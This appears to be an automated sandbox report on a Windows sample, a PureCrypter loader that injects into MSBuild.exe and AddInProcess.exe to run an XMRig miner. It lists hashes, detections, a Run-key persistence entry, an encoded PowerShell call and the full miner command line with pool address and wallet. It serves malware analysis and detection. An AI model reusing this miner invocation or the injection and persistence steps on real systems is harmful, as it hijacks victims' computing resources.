Analysis
-
max time kernel
148s -
max time network
151s -
platform
windows10-1703_x64 -
resource
win10-20220812-en -
resource tags
arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system -
submitted
03-02-2023 20:49
Static task
static1
Behavioral task
behavioral1
Sample
14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe
Resource
win10-20220812-en
General
-
Target
14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe
-
Size
172KB
-
MD5
a9fe419d1a7c914e4bcb26ba2d564338
-
SHA1
287d701de4ece28a6b0245c89b2ea488c6fee16b
-
SHA256
14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb
-
SHA512
5ea544d93d2d19614e006f4b1762cb3e5d886e130c1fe77973cf83f2bac02dd9ea58eea0ac428e08bec65e03f1f37b41da3608f8a817d0a42dab49ee4b9f9cb9
-
SSDEEP
1536:v+ac9URWzKr7PhuuUpV7+5JTiy95UuUCQahsf5mZIWiwwr7QXsouW2ASDDA6rRcS:v+apWaxa7Dy956S2j4xnsvXtPdSaeW
Malware Config
Signatures
-
Detect PureCrypter injector 1 IoCs
Processes:
resource yara_rule behavioral1/memory/3824-121-0x00000201755D0000-0x00000201758BA000-memory.dmp family_purecrypter -
PureCrypter
PureCrypter is a .NET malware loader first seen in early 2021.
-
XMRig Miner payload 6 IoCs
Processes:
resource yara_rule behavioral1/memory/3404-145-0x0000000140000000-0x00000001407CA000-memory.dmp xmrig behavioral1/memory/3404-146-0x0000000140344454-mapping.dmp xmrig behavioral1/memory/3404-147-0x0000000140000000-0x00000001407CA000-memory.dmp xmrig behavioral1/memory/3404-148-0x0000000140000000-0x00000001407CA000-memory.dmp xmrig behavioral1/memory/3404-150-0x0000000140000000-0x00000001407CA000-memory.dmp xmrig behavioral1/memory/3404-152-0x0000000140000000-0x00000001407CA000-memory.dmp xmrig -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2482096546-1136599444-1359412500-1000\Software\Microsoft\Windows\CurrentVersion\Run\cloudapp = "\"C:\\Users\\Admin\\AppData\\Local\\WinSCP\\cloudapp.exe\"" 14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Suspicious use of SetThreadContext 2 IoCs
Processes:
14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exeMSBuild.exedescription pid process target process PID 3824 set thread context of 4844 3824 14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe MSBuild.exe PID 4844 set thread context of 3404 4844 MSBuild.exe AddInProcess.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 63 IoCs
Processes:
powershell.exeMSBuild.exepid process 4848 powershell.exe 4848 powershell.exe 4848 powershell.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe 4844 MSBuild.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 652 -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exepowershell.exeMSBuild.exeAddInProcess.exedescription pid process Token: SeDebugPrivilege 3824 14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe Token: SeDebugPrivilege 4848 powershell.exe Token: SeDebugPrivilege 4844 MSBuild.exe Token: SeLockMemoryPrivilege 3404 AddInProcess.exe Token: SeLockMemoryPrivilege 3404 AddInProcess.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
AddInProcess.exepid process 3404 AddInProcess.exe -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exeMSBuild.exedescription pid process target process PID 3824 wrote to memory of 4848 3824 14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe powershell.exe PID 3824 wrote to memory of 4848 3824 14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe powershell.exe PID 3824 wrote to memory of 4844 3824 14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe MSBuild.exe PID 3824 wrote to memory of 4844 3824 14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe MSBuild.exe PID 3824 wrote to memory of 4844 3824 14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe MSBuild.exe PID 3824 wrote to memory of 4844 3824 14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe MSBuild.exe PID 3824 wrote to memory of 4844 3824 14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe MSBuild.exe PID 3824 wrote to memory of 4844 3824 14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe MSBuild.exe PID 4844 wrote to memory of 3404 4844 MSBuild.exe AddInProcess.exe PID 4844 wrote to memory of 3404 4844 MSBuild.exe AddInProcess.exe PID 4844 wrote to memory of 3404 4844 MSBuild.exe AddInProcess.exe PID 4844 wrote to memory of 3404 4844 MSBuild.exe AddInProcess.exe PID 4844 wrote to memory of 3404 4844 MSBuild.exe AddInProcess.exe PID 4844 wrote to memory of 3404 4844 MSBuild.exe AddInProcess.exe PID 4844 wrote to memory of 3404 4844 MSBuild.exe AddInProcess.exe PID 4844 wrote to memory of 3404 4844 MSBuild.exe AddInProcess.exe PID 4844 wrote to memory of 3404 4844 MSBuild.exe AddInProcess.exe PID 4844 wrote to memory of 3404 4844 MSBuild.exe AddInProcess.exe PID 4844 wrote to memory of 3404 4844 MSBuild.exe AddInProcess.exe PID 4844 wrote to memory of 3404 4844 MSBuild.exe AddInProcess.exe PID 4844 wrote to memory of 3404 4844 MSBuild.exe AddInProcess.exe PID 4844 wrote to memory of 3404 4844 MSBuild.exe AddInProcess.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe"C:\Users\Admin\AppData\Local\Temp\14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3824 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4848 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4844 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 45.142.122.11:8080 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ.Worker_CPU -p x --algo rx/0 --cpu-max-threads-hint=503⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3404
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/3404-145-0x0000000140000000-0x00000001407CA000-memory.dmpFilesize
7.8MB
-
memory/3404-154-0x0000020A14AF0000-0x0000020A14B10000-memory.dmpFilesize
128KB
-
memory/3404-153-0x0000020A14AF0000-0x0000020A14B10000-memory.dmpFilesize
128KB
-
memory/3404-152-0x0000000140000000-0x00000001407CA000-memory.dmpFilesize
7.8MB
-
memory/3404-151-0x0000020A14AD0000-0x0000020A14AF0000-memory.dmpFilesize
128KB
-
memory/3404-150-0x0000000140000000-0x00000001407CA000-memory.dmpFilesize
7.8MB
-
memory/3404-149-0x0000020A13110000-0x0000020A13130000-memory.dmpFilesize
128KB
-
memory/3404-148-0x0000000140000000-0x00000001407CA000-memory.dmpFilesize
7.8MB
-
memory/3404-147-0x0000000140000000-0x00000001407CA000-memory.dmpFilesize
7.8MB
-
memory/3404-146-0x0000000140344454-mapping.dmp
-
memory/3824-138-0x00000201759F0000-0x0000020175AAC000-memory.dmpFilesize
752KB
-
memory/3824-120-0x000002015AF00000-0x000002015AF2E000-memory.dmpFilesize
184KB
-
memory/3824-122-0x000002015B320000-0x000002015B342000-memory.dmpFilesize
136KB
-
memory/3824-121-0x00000201755D0000-0x00000201758BA000-memory.dmpFilesize
2.9MB
-
memory/4844-144-0x0000022D75C90000-0x0000022D75CA6000-memory.dmpFilesize
88KB
-
memory/4844-143-0x0000022D775E0000-0x0000022D7762C000-memory.dmpFilesize
304KB
-
memory/4844-142-0x0000022D75BB0000-0x0000022D75C06000-memory.dmpFilesize
344KB
-
memory/4844-141-0x0000022D77E10000-0x0000022D77EAE000-memory.dmpFilesize
632KB
-
memory/4844-140-0x0000000000400000-mapping.dmp
-
memory/4844-139-0x0000000000400000-0x000000000048C000-memory.dmpFilesize
560KB
-
memory/4848-130-0x000001EAC3F90000-0x000001EAC4006000-memory.dmpFilesize
472KB
-
memory/4848-123-0x0000000000000000-mapping.dmp